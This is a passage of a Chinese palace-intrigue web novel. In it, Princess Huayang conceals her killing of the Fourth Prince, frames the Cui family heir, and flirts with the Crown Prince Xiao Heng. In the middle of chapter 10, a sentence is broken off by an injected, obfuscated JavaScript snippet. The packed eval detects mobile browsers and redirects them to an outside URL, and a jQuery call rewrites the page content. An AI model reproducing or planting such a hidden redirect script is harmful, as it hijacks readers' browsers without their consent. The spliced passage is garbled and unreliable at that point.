辛宁道:“贵妃无法接受四皇子醉酒溺亡的消息,她已经让人围了整个荟芳楼,将楼里的老鸨、龟公和姑娘们全都抓起来,严刑拷问。” 萧珩冷笑:“可问出什么了?” “并没有问出什么有用的消息。”辛宁道:“不过,有人指认事发当晚,四皇子与崔家公子起了冲突。” 萧珩一怔,“崔玉?” 他摩挲着右手拇指上的白玉扳指,陷入沉思。 刘贵妃因为四皇子之死,必定暴怒至极,失去了理智,他也很理解她这种想拉一个人为萧睿偿命的想法。 真正的萧睿早就死在了海棠别院,出现在荟芳院的不过是萧晚滢安排的替身。 萧晚滢设计布局将崔玉拉下水,到底想要做什么? 是让崔玉这个冤大头当替死鬼,借崔皇后之手,除掉崔玉,以此永绝后患?好让自己能全身而退? 刘贵妃如今固然得宠,但也不敢真的和世家作对,等她清醒过来,未必不会察觉出崔玉与四皇子之死无关。 萧晚滢的计划迟早也会落空。 更何况,她设计的这出金蝉脱壳的计划,并非完然没有漏洞,如今牵扯到崔家,恐怕到时候会引火烧身,得不偿失。 萧珩沉思道:“阿滢的手段终究还是稚嫩了些。” 辛宁觉得越来越看不懂主子了,华阳公主杀了四皇子,转移尸体,造成了四皇子落水溺亡的假象,又牵连了崔家,她行事如此大胆,干的每一桩每一件都是惊天动地的大事。 为何主子的脸上竟露出了欣赏的神情? 正在这时,门外传来崔媛媛的声音,“臣女有要事面见太子殿下。” 萧珩昨夜下了命令,不许任何都不准出宫,崔媛媛想传递消息却不能够,但崔家在宫中自有耳目。 今日一早崔家便想办法递了消息进宫,嫡子崔玉与四皇子之死一案有关,被当成嫌犯关进了刑部大牢。 刑部刘尚书是刘贵妃的堂兄,受了刘贵妃的授意,抓了崔玉。 崔媛媛其实并不喜欢这位不学无术,行事荒唐的双生哥哥。 可惜她不是男子,父亲不让她参与家族大事,未来的崔家的家主只能是崔玉的。 即便崔玉是个只知喝酒赌钱玩女人的废物,崔家的未来也要交给这样的人。 她讨厌崔玉,却不得不救他,若是崔玉出事,整个崔家都要受到牵连,甚至她日后要嫁太子还要仰仗崔家,仰仗这个不成器的哥哥。 只有庞大的家族作支撑,日后她当上太子妃,将来成为皇后,才能在后宫站稳脚跟。 父亲在信中要她顾全大局,去求太子想办法将崔玉弄出刑部大牢,移送大理寺。 大理寺是太子的人,也方便崔家好出手施救,即便不能立刻救出崔玉,也可免去些皮肉之苦,崔玉自小锦衣玉食,细皮嫩肉,哪里能熬得住刑部的酷刑。 辛宁问道:“殿下可要见崔家小姐?” 萧珩道:“让她走。” “是。”辛宁似想起一件事,回禀道:“昨夜崔家小姐去了书房,属下发现殿下的画有被动过的痕迹。” 萧珩沉声道:“知道了。” “那殿下的秘密会不会已经被崔小姐发现了?” 萧珩道:“无妨,正好顺水推舟让她替孤办一件事。” 他头疼地看着床榻之上的一片狼藉和那被弄脏的亵裤。 “让冯成进来收拾!” 辛宁脸一红,赶紧退出去,换冯成进来伺候。 太子寝宫的门开了,见到辛宁,崔媛媛焦急道:“请辛将军通传,媛媛有急事面见太子表哥。” 辛宁道:“殿下让崔小姐先回去。还有此前殿下便吩咐过,不许任何人出东宫半步,自然也包括您,既然殿下有此吩咐,那便也不让您管宫外之事。崔小姐,是您违逆了殿下的旨意。” 看来太子已经早就知道了崔玉被关进刑部大牢的消息,却并无任何动作,拒绝见她,难道太子殿下是不打算出手帮崔家了。 四皇子之死非同小可,若是崔玉出事,父亲怕是第一个不会放过她。 “若殿下不见臣女,臣女便长跪不起。” 辛宁看了崔媛媛一眼,又说了一句话,“昨夜,崔小姐可是从书房拿走了一幅画?” 崔媛媛脸一白,原来太子都知道了。 辛宁提醒道:“殿下身为主帅,若是管不好手底下的将士,又如何能指挥作战,如何能取胜,殿下驭下甚严,若是连自己宫中之事都不知,又怎能统领千军万马!” 身为储君,平日需面对多少明枪暗箭,有人算计到他头上,他又岂会放任不管。 辛宁的言外之意是崔媛媛想在太子的眼皮子底下耍花样,是万万不能够的。 也意在告诉她,今夜无论如何太子都不肯见她了。 崔媛媛是被朝露搀扶着离开的,一度腿软,差点一头栽下去。 “朝露,我们回景明院吧!” 朝露担忧地道:“若是姑娘无法救出公子,您可是要吃苦头的,相爷和夫人都不会饶过您。” “还有,您这次入宫前,相爷给姑娘下了死令。这一次,一定要想办法让太子答应这门亲事,年关一过,您就要年满二十岁了,您可等不起了。” 崔媛媛苦笑,“是啊!” 她快二十岁了。这些年,她拒绝了多少人勋贵子弟上门提亲,只想嫁给表哥,可太子却始终对她不冷不热的。 谁叫她有一位偏疼兄长的母亲,和冷漠严厉,毫无一丝温情的父亲。 一个将自己所有的关心和疼爱都给了儿子,一个对她像是对下属,严厉到至极,冷漠无情到了极致。 崔媛媛突然感到很烦躁,感到绝望和窒息。 “我知道了。但你也看到了,如今连表哥的面都见不上,我也没办法。” 回到景明院,她让朝露为了打了盆冷水来,将那盆冷水泼从自己的头顶泼下。 朝露惊呼道:“小姐,您这是做什么?夜间这般凉,要是您受冻着凉染上了风寒可如何是好?小姐赶紧将身上的湿衣裳都换了,奴婢再为您准备热水沐浴。” 崔媛媛却摇头,走到窗边,将窗子推开,春夜凉寒,凉风直往屋子里灌,崔媛媛一直站在窗边,直觉得仿若置身冰窖之中。 直到一阵阵头晕目眩,头疼欲裂。 朝露心疼地问道:“小姐是想用这种方式应付夫人?” “病了也好,这样就没人来烦我了。”崔媛媛感觉头脑昏沉,嗓子刺痛,哑着嗓音道:“至于嫁给太子殿下,我已有了主意。” “我如今虽然出不去,有人却可以进来,明日父亲的人肯定会再来问兄长的消息,你想办法将我生病的消息告知淑妃娘娘。” 淑妃娘娘和她一样,也是崔家的一颗棋子,她若想要在宫里好过,定会帮她的。 起初崔媛媛只是头脑胀痛,浑身发冷,到了下半夜,她已经浑身发烫,发了高烧。她一直拉着朝露的手,不许她去请太医,直到她烧得迷迷糊糊,这才许朝露去找太医。 朝露慌慌张张地去找太子殿下,求太子替主子找太医。 却正好撞到了冯成身边的一个小太监,撞翻了那小太监手中的托盘。 她慌忙将掉落在地的衣物拾起来。 那件白色云锦衣袍,用银线绣着祥云和龙纹,这分明是太子殿下的衣裳。 冯成却抢先一步将衣裳拾起,藏在身后。 朝露觉得有些古怪,探究地看向冯成身后的衣裳,冯成却往一旁跨了一大步,遮挡住朝露的视线,“朝露姑娘还有事吗?” 朝露摇头。 待冯成离开后,朝露看着冯成的背影,若有所思。 * 萧晚滢难得安静了一日,自从昨夜从太子的寝宫回来后,她不再吵着出去,就连肖校尉都觉得华阳公主安静得有些不太正常。 珍珠进了屋子,关上门窗,将一只雕刻精美的木鸢交给萧晚滢。 萧晚滢抚摸着那只木鸢的身子,摸到鸟腹处凹陷的小圆点,轻轻一按,突然木鸢张开嘴,吐出一张小纸条。 萧晚滢看过字条,将纸条放在烛台上点燃,看着纸条上的火燃烧殆尽,她缓缓勾起了唇角。 她笑看着珍珠,说道:“这第一步,咱们成功了。” 珍珠一怔,喜极而泣,长吁一口气,双手合掌,闭上眼睛,“谢天谢地,谢谢皇后娘娘的在天之灵,保佑公主逃过一劫。” 自从那日公主在海棠别院设计杀了萧睿,她每日都吃不下,也睡不好,那日刘贵妃找上门来,她更是惊怕交加,生怕华阳公主会被贵妃捉去了,严刑拷打。 好在她所担忧的事都没发生。 萧晚滢躺在窗边的贵妃榻上,春日的阳光,将花影照在萧晚滢的面颊上,那般的雪肤美肌,美得像在发光。 她闭上眼睛,手中把玩着那只憨态可掬的小木鸢,闭着眼回忆那晚在海棠别院发生的事。 卢照清助她杀了萧睿子后,便要站出来替她顶罪。 其实萧晚滢早在决定杀萧睿之前,便已经想好了脱身之计。 但计划却因陆元虽然身中迷香,却依然重伤了青影,原本由青影从萧睿身上搜出令牌,女扮男装易容成萧睿的模样出宫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831694|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设计萧睿死在宫外的一出大戏,却因青影伤重却不得不换人。 这时卢照清自告奋勇,想要代替青影,实行计划。 卢照清也参与诛杀萧睿,又一心向着她,萧晚滢自然不会让卢照清顶罪。 她也觉得比起青影,卢照清身为男子,身高和体形都和萧睿相似,更适合扮成萧睿。 更可况若是日后查到青影的身上,青影也有不在场的证据,她便可摆脱杀萧睿的嫌疑。 便让卢照清扮成萧睿,将死去的萧睿藏在马车里,出宫,布置一场金蝉脱壳的大计。 青影为卢照清易容过,加之卢照清手里有萧睿的令牌。 也怪萧睿,素日阴毒跋扈,守门的守卫也被他折磨不知多少回,根本没有人敢拦他的马车。 卢照清得以顺利出宫,便直奔兴盛街的荟芳楼。 萧睿是荟芳楼的常客,老鸨虽然不知他皇子的身份,但他素日出手阔绰,当他是哪家的富贵公子。 至于与崔玉起冲突,也是萧晚滢计划中的一环。 那崔玉虽然早已有了三四房妻妾,但却常常偷跑出去寻花问柳,在这一点上,和萧睿也算是臭味相投。 最近他最常去的便是荟芳楼,只因他迷上了名叫柳如烟的花魁。 而那一夜,他为了应付崔相检查功课,去晚了些。 而卢照清给的银子实在让老鸨动了心,哪有上门的生意不做的,便将如烟抢先去伺候卢照清。 崔玉仗着自己崔家嫡子的身份,哪里肯将心上人拱手让人。 他便借着酒劲,上去抢人。 亲眼目睹了萧睿醉酒坠河的一幕。 事发之后,这位崔家公子后知后觉地反应过来,刚刚坠河的是四皇子,人都吓傻了。 但总算不是真的傻,顿时酒醒了一大半,为避免受到受到牵连,又不敢回家,便去了一处地下赌坊将就过了一夜。 而至于卢照清假扮萧睿落水之后,便潜进水底不见了踪影,趁着周围的人群散了,偷偷地从另一侧上岸。 与此同时,他将身上的萧睿的衣裳换下,为真正的萧睿穿上,寻个杂草浓密的隐蔽之处,将尸体抛至河里,让尸体顺着河道飘到下游。 只是卢照清一晚上经历了杀人和抛尸两大惊险的经历,心中是既害怕又紧张,难免想的不够周全。 事后一想,越发觉得漏洞百出,尸体被河水泡了一夜,必定会面目肿胀,难以辨认,但萧睿却死于匕首所伤,身上还有被利箭贯穿的伤口。 伤口无法掩盖定会惹人怀疑,可事后想要弥补却也已经来不及了。 在大理寺发现萧睿的尸体时,他找门路,偷偷去查看过那具尸体,发现尸体被野兽撕咬,变得残缺不全,就连刀伤和箭伤都被野兽的利爪和齿印掩盖。 他才终于松了一口气,又找个时机将事情的详细经过传递进宫,让萧晚滢安心。 因萧晚滢禁足,传递消息进东宫,又让卢照清委实废了一番力气。 卢照清虽说看上去平平无奇,学问不深,武艺粗浅,但却精通一项技艺,便是木工雕刻。 他从喜爱雕刻,整日同木料打交道,擅长制作一些小的机关,那天用来伤萧睿的袖箭,也都是他亲自设计的。 至于送信入宫,他也想到了办法,将字条塞进木鸢的腹中,如此便能神不知鬼不觉不被人察觉。 那卢照清看不透,以为是萧睿的尸体被野兽啃咬是意外,只有萧晚滢知道,这是有人在暗中帮她。 她把玩着那小木鸢翅膀下的小凸起,手中的木鸢便飞了出去。 原来卢照清将这只木鸢雕刻得格外生动,又想着能将木鸢送给她,讨她欢心,便在这只木鸢里装了一些小的机关,只要拨动机关,木鸢便能像鸟儿一样起飞,这只木鸢是按照信鸽的功能制成的。 萧晚滢看着木鸢飞出的身影,笑道:“看来皇兄并非是全然不在乎我。” 那个暗中相助她的人只能是萧珩。 “有些人啊,还真是嘴硬心软啊!” 珍珠见萧晚滢心情极好,应该是因为太子殿下,她是极盼着公主和太子殿下能重归于好的。 若是有太子殿下为公主撑腰,公主也不至于会这般艰难,将来贵妃发难之时,萧晚滢也有所依仗。 “是啊,奴婢听说崔家公子崔玉被抓进了刑部,崔家小姐来求殿下,却连太子殿下的面都没见着。” 萧晚滢眼睛一亮,“看来某人不仅嘴硬心软,还谎话连篇。” 什么将她当成崔媛媛,都是他想逼她走的鬼话。 萧晚滢看透了这一切,便决定不和萧珩计较。 今天她心情格外好,便在院中和珍珠追着那只木鸢在院中玩。 华阳公主不惹事的时候,最轻松的就是肖校尉和他的手下。 他听着西华苑发出的欢声笑语,他内心有种欣慰之感。 虽说是太子下令,将华阳公主关在西华苑,让他带人负责看守。 但他哪里敢真的看守华阳公主。 华阳公主行事离经叛道,永远都猜不到她会做出什么出格的举动。 肖校尉和一众侍卫每天都过得胆战心惊,若是公主有个三长两短,他们几个的脑袋都不够砍的。 所以比起看守,肖校尉明白自己的职责其实是保护公主。 公主消停了,他也能放松片刻。 突然,他身边有个下属,指向高处,惊恐说道:“肖将军,快看!” “慌慌张张做什么!”肖校尉吓了一跳,赶紧抬头看去,顿时面色惨白。 “我的娘呐!” 他只觉一阵阵腿软,一个牛高马大的魁梧汉子差点直挺挺地跪下去。 萧晚滢不知从哪里寻了个木梯,正爬上了院墙,去捡那只被卡在树梢的木鸢。 她几次够不到,身体摇摇欲坠,眼看着就要摔下去。 11.第11章 萧晚滢踩在木梯之上,伸手去够那只落卡在树梢上的木鸢。 肖校尉看到这一幕觉得心脏都要骤停了,想出声,又怕惊到了公主,只得小声地提醒:“公主,小心。” 只见微风轻扬那层层华丽的裙裾,从肖校尉的角度只能看到裙裾之下露出的绣鞋的鞋尖,鞋尖上的珍珠轻晃,华阳公主脚下一滑,身子急剧后仰,从那木梯上坠下。 肖校尉赶紧朝那木梯之上的身影急奔而去,可终究是相隔太远,哪里来得及出手相救。 只能眼睁睁地看着萧晚滢在他的面前,像一只翩跹的蝶儿般往下坠。 肖校尉吓得腿一软,直接跪在地上,那一刻他绝望至极,华阳公主出事,他怎么以死谢罪都想好了。 忽见一道身影快若闪电,脚尖轻点木梯,飞跃而上,瞬间接住急速坠落的萧晚滢。 肖校尉只觉眼前一花,甚至没看清太子是如何出手的,华阳公主已稳稳落入太子怀中。 而萧晚滢对他眨了眨眼睛,调皮一笑。 肖校尉只想狠狠抽自己一嘴巴,想收回方才说公主今日格外乖巧安静,安份守己的那句话。 在他看来,华阳公主根本就是有通天彻地之能,便是她被关在西华院,足不出户,也能想办法搞出事情来,即便禁足,也能引得太子殿下主动前来见她。 他不禁对华阳公主佩服得五体投地。 他以额触地,重重的磕在地上,“属下护卫不力,还请殿下责罚!” 萧珩冷声道:“自去领罚吧。” 他失职自是应该领罚,肖校尉退出西华院,去领军棍。 萧珩眼含怒意,冷冷看向萧晚滢,“闹够了吗?你要是真想死,孤便成全你。” 萧晚滢那宛若桃瓣的眼尾往上扬,弯唇一笑:“萧珩,你这个骗子!” 她差点就相信了萧珩将她当成了崔媛媛,昨夜气狠了,将萧珩骂了八百遍,那时她只想永远都不要再理他了,直到她想出了这其中的关键,加之她实在太过了解萧珩,知他一贯极擅忍耐,口不对心。 当她爬上木梯,站在最高处,看到萧珩之时,她心中只想有一个念头,她想要试一试萧珩是不是真的已经不在乎她了。 为了试探他,她装作脚滑,从木梯上跌了下去。 直到她见到了那个神色紧张,焦急奔向她的身影。 此时,她心中无比的确定,萧珩在乎她,很在乎他,之前他假作不理会她,那都是在骗人。 “阿滢也想过,若是太子哥哥赶不到,那阿滢便摔死了,不过死了也好,免得再惹事,连累了太子哥哥。” 萧晚滢低下头,垂眸遮挡脸上的神色,用带着哭腔的声音说:“母后死了,太子哥哥也不要阿滢了,萧睿他欺辱我,我一时愤怒便杀了他,但刘贵妃定然不会放过我,与其整日担惊受怕,还不如死了算了。” 萧珩见她不停地掉小珍珠,心中暗暗叹了一口气,语气也软了些,“差不多得了,你不正是知道孤不会不管你,这才又演了一出戏,将孤骗来吗?” 萧晚滢:“哦,原来太子哥哥会管用我啊!” 萧珩轻哼一声,小滑头,明知故问。 今日,他问及华阳公主情况时,从冯成的口中得知卢照清送来了一只木鸢,萧晚滢欢喜得不得了,对那木鸢爱不释手,在院子中把玩了一整日,冯成还满脸欣慰地对他说:“好久没看公主那样笑过了。” 就好像在提醒他,他的阿滢与卢照清有婚约,终究是要嫁人的。 昨夜正是因为刘贵妃提及了萧晚滢的亲事,他才失控饮酒,险些对阿滢做出冒犯之事。 卢照清是父皇为阿滢指婚的驸马,他对阿滢言听计从,甚至冒死为她遮掩萧睿之死的真相,他对阿滢真真是一片痴心。 卢照清冷静从容,也并不像表面上看上去那般无用。 若是阿滢也喜欢他。 他该成全他们的。 他心里最是清楚,阿滢的夫君,可以是卢照清,也可以是洛京城中任何世家子弟,但唯独不能是他。 可他总也忍不住来看她一眼,好像只有看了她一眼,见到她因为别的男子送的礼物而欢喜,他才会彻底死心。 可当阿滢从他眼前坠落的那一刻,他快要疯了,担心、害怕、焦急等种种情绪令他来不及多想,不顾一切只想抓住她,直到现在他仍心有余悸,生怕自己方才来不及,她便会遭遇不测。 “能自己走吗?”萧珩压抑内心涌动的种种情感,故作轻松地问道。 可萧晚滢看到他那颤抖的指尖,修长而骨节分明的手指紧紧地握住她的侧腰。 恐怕连他自己都不知道有多用力,他有多在意。 他分明就不想放开自己。 萧晚滢微微勾起唇角,故意将手臂伸出,双手环住萧珩的脖颈。 雪白的手臂上赫然出现了一道擦伤,娇嫩如雪般白皙的肌肤被划破,伤口正渗出血珠子。 “太子哥哥,阿滢胳膊受伤了,走不动了。” 院子外受了二十军棍,一瘸一拐回来的肖校尉听到华阳公主的一番话,嘴角微抽。 公主要不要听自己说了什么,手臂受伤会影响走路吗? 聪慧如太子殿下定不会上当。 可他没想到的是,萧珩轻嗯了声,“走不动就不走。” 他至始至终都没有将萧晚滢放下,而是抱着她穿过长廊,进了寝房,再小心翼翼地将她放在贵妃榻上。 萧晚滢将受伤的手臂伸向他,就像以前一样,萧珩见到她受伤,会违心地说出责备的话,但他会心疼,会替她上药,还会守着她,整夜照顾她。 这些年,因担心萧晚滢会受伤,萧珩都有随身带着伤药的习惯,他坐在一旁的花梨木圈椅上,替她轻轻地点涂上药。 萧晚滢心中欢喜极了,忍不住说道:“要是天天受伤就好了,这样太子哥哥就不会想方设法躲着阿滢,想要推开阿滢。只有这样,阿滢就会知道太子哥哥还是关心在乎阿滢的。” 萧珩听得眉头一皱,变了脸色,将棉布一圈圈地缠绕着萧晚滢的手臂,最后打了个结,看着她,正色道:“萧晚滢,你知不知道方才有多危险!你到底想做什么?若是说不出来,孤不介意罚你十戒尺。” 萧晚滢神色一凛。 她差点忘了,萧珩从来都并非是绝对温柔之人,甚至他性子冷,很少见他笑过。 他也有霸道,不容抗拒的一面,在她摆脱了崔皇后的控制后,她便迎来了另一个噩梦,萧珩恼她不学无术,虚度光阴,在学堂里捉弄太傅,便决定亲自教她读书习字,骑马射箭。 教她读书习字是为了不让她像三公主那般当个草包花瓶,整日只知道饮酒作乐,养面首,看到好看的男子都要抢到手。 教她骑马射箭,是因为她自小被崔皇后苛待,伤了根本,身体太弱,染一场风寒,大半个月的都不见好。 平日里,萧珩对她无有应,一但教授课业,便化身严师,那戒尺打得可丝毫不见手软。 小时候被打怕了,看到这戒尺,她便觉得头皮发麻,赶紧将手缩在身后,小声嘀咕,“若不是你执意要赶我走,我又怎会如此,我虽然不怕死,但很怕疼的,好不好。” “还有,我是为了捡那只木鸢。” 萧珩也不知道是否信了她的话。 “你就真的那般喜欢那只木鸢?喜欢到不顾生命危险,也要冒险爬梯去捡。” 到底喜欢的是木鸢?还是因为喜欢上了送木鸢的卢照清? 卢照清重情重义,就连萧晚滢也被打动,动了心吧! 萧晚滢点了点头,“那只木鸢做工巧妙,我这便拿给太子哥哥看看。卢照清做的这小玩意真的太精巧了,他设计的这些小机关,说不定还能用于军营,能帮到太子哥哥。” “够了!” 萧珩厉色打断了萧晚滢的话。“说吧,你故意引孤过来,到底想干什么?” “哦。”萧晚滢勾勾手指,示意他过来。 萧珩板着脸,“快说。” 萧珩不过来,萧晚滢突然起身,手撑在圈椅的两侧,靠近,在他的耳侧,轻声说道:“萧珩,那你昨夜假意将我当成崔媛媛,刻意躲着我。又是为了什么?” 萧珩一怔,沉默不语。 萧晚滢则冷笑。 萧珩并未否认,证明她的猜测都是真的,昨晚,他分明早就认出了自己,顺势将她当成崔媛媛,目的是为了逼走她。 原本萧晚滢睡在贵妃榻上,萧珩坐着,这场暗中的较量,最初萧珩是进攻者的姿态。 突然,萧晚滢跪于榻上,一把抓住他的衣襟,借势起身,改守为攻。 她俯身至萧珩的脸侧,一口咬在了萧珩的耳垂上。 一阵酥痒自耳垂传来,萧珩红了耳廓,红晕渐渐地蔓延至耳尖。 “萧珩,你到底在怕什么?” “你的心里到底藏着什么秘密?” 三年前的那个夜晚,到底发生了什么。 萧珩身体微颤,像被什么钉在了原地。 被咬过的地方湿湿的,酥酥麻麻的,骤然变得滚烫起来,那里的肌肤好像被大火灼烧着,连带着整只耳朵,都变得滚烫而炙热。 他的耳朵红透了,就连耳根处都红若滴血。 战栗、酥颤的感觉传遍全身。 他到底在怕什么,他的秘密到底是什么? 他死守着的,不能被他人道出的,压抑了多年的秘密,那个要将他彻底逼疯的秘密到底是什么? 仿佛有什么东西堵住了喉咙口。 他无法说出口,也不能说出口。 他能感受到那双柔弱无骨的手,试探般地,缓缓地移到他的身后,他却好似被什么东西捆缚着,无法动弹。 又或许是被他锁住的那个自己,此刻正冲破牢笼,他无法反抗,或许是他根本就不想动,也不想反抗。 他任由萧晚滢触碰,甚至渴望与她亲密接触。 萧晚滢试探般地靠近,解开他身上的玉扣,将他的外袍脱下。 他的内心因为压抑而痛苦不堪,身体却因为她的靠近,兴奋得紧张、发抖,这一次,甚至忘了阻止萧晚滢的动作。 萧晚滢笑道:“哥哥让我顶替楼星旭,扮成男子留在哥哥身边当伴读。我答应。” “但那些臭男人的衣裳配不上我,我只穿哥哥的衣裳。” “这便是我引你前来的真正目的。” 萧晚滢夺了他的外衫,欣喜地将他外裳穿在身上。 萧珩高大挺拔,萧晚滢惦着脚尖,才勉强到他胸口的位置,这件衣袍穿在萧晚滢的身上,就好像小孩偷穿了大人的衣裳。 一点也不合身。 她将衣袖卷了好几次,才露出那纤细雪白的手腕。 她腰肢纤细,他双手便可环握住,这件衣袍足足宽了四指。 衣袍长及拖地,甚至长得盖住了她的双脚。 萧晚滢扯了扯衣袍,露出一双雪白小巧的玉足和纤细的脚踝。 他看着她在他面前欢喜地转了一圈。 “太子哥哥,好看吗?” 萧珩盯着她身上的衣裳,总有一种异样的感觉。 衣裳是从他身上脱下的,还沾染着他的气息。 如今他的气息将那她的身子完全包裹住。自上而下,严丝合缝。 就像是将她紧紧相拥,亲密无间,彼此合二为一。 就像他做了无数次的春/梦。 他喉结微微滚动,突然问道:“你喜欢吗?” 不知问的是人,还是衣裳。

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不,她不会想要知道的。 “孤没有秘密。” 萧晚滢暗自撇了撇嘴,萧珩不说,她自有办法知道,她要知道三年前萧珩想方设法躲着她避开她的原因,一定要弄清楚当年的萧珩到底发生了什么。 好在她得以成功留在东宫,她有足够的时间和耐心撬开萧珩的嘴,知晓萧珩心里藏着的那个秘密。 “对了,我去给太子哥哥拿药。” 她赶紧去找被丢到桌子底下的那药瓶,里面是母后留给她的一颗能救命的药。 那是重伤之后,能护住脏腑不受损的灵药。 母后死前说她身上穿戴皆是皇帝所赐,她一件也不会带走,更不会将这些东西留给她。 留给她的唯有这枚药丸。 这是母后当年跟着师父到处行医,师父留给她的可以救命的药丸,这药丸极难配,用的也是世间少有的珍惜药材,就连母后师父那般天下闻名的神医也只配得一颗。 只可惜这药丸只能医重伤,并不能治重病,否则,萧晚滢宁愿母后什么都不留给她,她只要母后活着。 继后身死的消息传去豫州的时候,战事正胶着,萧珩不惜以身入局,着急赶回洛京,便是担心继后因为争宠在宫里树敌太多,萧晚滢在宫中无人庇佑,那一场战役他急于取胜,却付出的惨痛的代价。 他知这枚药丸的重要,据说是那避世已久的薛医练制,能让重伤之人起死回生的仙药。 说是仙药难免夸张,但那药却是重伤后的奇药,能护住人的脏腑,能让内伤恢复。 他在那次大战中,元气大伤,受了严重的内伤,太医嘱咐,半年之内,不能用内功。 他的确很需要这颗灵药。 但这颗药是继后留给萧晚滢的遗物,也是她的念想。 “我的伤已经无碍了,这颗药,你自己留着。” “对了,崔家的事。孤不管你要做什么,但崔家身为世家之首,树大根深,其中牵扯的势力并非你能应付的,孤劝你不要轻举妄动。” 萧晚滢心道:来不及了,已经动了。 但崔家毕竟是萧珩的外祖家,萧珩对崔家人有感情,她选择的这条路,将来必定会伤害到萧珩,但即便如此,她还是会选择去做,明知前途布满了荆棘,她仍要去闯。 若是萧珩日后阻拦,她想恐怕她也会毫不犹豫地对他动手。 不过,她还是想知道,在萧珩的心中是崔家人重要还是她更重要? 萧珩会不会为了崔家人杀她? 她还是想委婉地提醒哥哥,太子哥哥智计无双,她只需稍加暗示,他一定会明白的。 “阿滢给太子哥哥看一样东西。” 她想将卢照清送给自己的那只木鸢拿给萧珩看,但却发现那只木鸢不知所踪。 “奇怪,到哪里去了!方才明明还在的。太子哥哥若是看到那只木鸢,便也会惊叹那精巧的机关设计。” 萧珩冷声道:“不必找了,孤不需要。阿滢,军营之事,你无需插手。” 方才都好好的,可不知为何萧珩突然就生气变了脸色,萧晚滢不解地问道:“太子哥哥,这是怎么了?” “好了,孤还有事,改日再来看你。” 萧珩急匆匆出了西华院。 萧晚滢推开了窗子,头从窗子伸出,冲着那消失在夜色中的身影高声喊道:“萧珩,阿滢最喜欢你!” 她几次提起木鸢,都被萧珩打断,甚至毫不掩饰眉眼间的怒意,萧晚滢终于明白了,原来萧珩是吃那只木鸢的醋。 萧珩还真是幼稚,她虽然喜欢那只木鸢,但只是将它当成一个新奇有趣的玩意儿,她最喜欢的当然是她的太子哥哥啊! 出了西华院,萧珩将那只藏在袖中的木鸢捏成了齑粉。 他改变主意了,亲手养大的妹妹,凭什么让给别人,他不想把阿滢让给卢照清,他想给自己一次机会。 可催动了内力,萧珩吐了一口鲜血。 尽管,五脏六腑痛得好似刀绞,他却似格外快活。 辛宁不知何时已闪身出现在身后。 “殿下,您不能用内力的。” “无妨。不过伤好得慢些罢了。” 当天晚上,萧珩做了一个梦。 梦到在慈恩寺的那间禅房中,师父用来占卜龟壳裂成了两半。 师父叹了一口气,写下了八字箴言。 华阳公主二嫁为后。 12.第12章 珍珠在西华院找了两日,都没找到那只木鸢,小声嘀咕道:“难道那只木鸢真的自个儿飞走了不成?” 萧晚滢看着自己的手甲上新涂的蔻丹,皱了皱眉,“这个颜色太张扬了,给本宫换粉色的。” “找不到就算了,反正本宫那便宜驸马会做。” 她寻了一把折扇来,配合她身上萧珩的锦袍,活脱脱一个玉面贵公子形象,她用折扇轻抬珍珠的下巴,微微挑眉,“这位妹妹好像在哪里见过,实在眼熟得紧啊。不如与本公子结伴同游,如何?” 珍珠不禁脸一红,公主生的太好看了,虽然嘴里说的这些轻挑的话,可眉眼生动极了,真真是眉目如画,美若天仙。 萧晚滢将手中的折扇扔到一旁,变了脸色,“算了算日子,崔玉已经被关了两日了。” 珍珠猛然想起,方才公主原来学的是崔相的嫡子崔玉,一个十足的轻浮浪荡子弟。 真不敢相信,在洛京流传的锦绣文章是那样的人写出来的。 珍珠心想,此人虽才华斐然,但人品低劣,想起不知有多少可怜女子断送在他手里,珍珠便觉得晦气。 “公主可别学他了,奴婢想起那样的人便觉得恶心。” 洛京的世家子弟爱好宴饮,萧晚滢在宫中闲的无聊,便也出宫赴宴几次,但每回都能被成功被崔玉恶心到,崔玉总是将自己打扮得像只开屏的花孔雀,在宴席上出尽风头,只要是有几分姿色的,他必要想方设法调戏一番。 只是初见华阳公主时,他并不知华阳公主的脾气,崔家是世家之首,世家和皇家联姻也是再寻常不过,那天轮到卢家设宴,他远远见到华阳公主,顿觉惊为天人,连双腿都不听使唤了,不由自主地跟了上去,萧晚滢刚掀开帘子,藩篱上的薄纱随风清扬,崔玉见了更是魂儿都被勾走了。 萧晚滢那晚失眠没睡好,便在马车上打盹,睁眼便看到一张放大的丑脸,恼怒此人色咪咪地看着自己,抬脚将崔玉踹进了水池里。 席间骤然变得安静,萧晚滢面色铁青地离席。 第二日,崔玉便因为冒犯公主被皇上下旨斥责,传遍了洛京,崔相觉得丢脸,便按头让崔玉与李将军家的二小姐成了婚。 尽管崔玉后来又娶了几房妾室,但仍是色心不改。 李二小姐出身将门,性子泼辣闻名洛京,崔玉不过一文弱书生,哪里是李家小姐的对手,打不过,骂不过,李二小姐又管得紧,崔玉每回都是半夜三更偷偷溜出去,瞒着李二小姐在外面偷吃。 自被圣上下旨斥责之后,崔玉唯一有所改变就是,吃过亏上过当,他便再不敢在萧晚滢的跟前凑,但还是被萧晚滢撞见过好几回他调戏女子,虽每次萧晚滢都教训过,可他仍是死性不改,不少清白女子被他骗去,不堪受辱,自尽而亡。 珍珠为那些被他祸害的女子感到惋惜,“四皇子死了,刘贵妃必不会放过他,如今他落到刘贵妃的手上,那也是他的报应,公主也算是为那些无辜惨死的女子出了口恶气。” 萧晚滢满意地看着指甲上粉红的丹蔻,那白皙的手指,指尖上一点粉红,像是初春的樱花。 她站在镜前,看着镜中男子打扮的自己,满意地笑了,镜中的她身穿白衣,长发用发带高束脑后,唇红齿白,丹唇微启,俨然一个凤风流俊美的少年郎。 “只可惜,崔家不会不管他的死活,毕竟崔玉是崔相嫡子,再说四皇子本非他所杀,他早晚会被放出来的,所以啊,本宫一开始就没想过要他的命。” “他这样的人,死了算是便宜他了。只要崔家不倒,他做下的那些恶事,便永远会有人替他遮掩,这世上就永远会有女子被他祸害。” 珍珠震惊地道:“难道公主要对付的是崔家?” 